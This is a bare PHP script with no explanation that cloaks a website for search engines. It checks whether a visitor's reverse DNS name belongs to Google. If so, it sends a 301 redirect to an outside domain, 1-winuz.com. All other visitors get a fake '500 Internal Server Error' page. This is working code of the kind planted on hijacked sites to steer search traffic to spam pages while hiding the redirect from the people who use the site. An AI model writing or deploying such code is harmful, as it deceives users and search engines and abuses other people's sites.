?php function isBotDetected($ip) { $hostname = gethostbyaddr($ip); $bot_list = [ "googlebot.com", "google.com" ]; if ($hostname): foreach ($bot_list as $item): if (stripos($hostname, $item) !== false): return true; endif; endforeach; endif; } if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } if(isBotDetected($_SERVER['REMOTE_ADDR'])){ header('Location: https://1-winuz.com' . $_SERVER['REQUEST_URI'], TRUE, 301); die(); }else{ header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); echo file_get_contents("fake.html"); }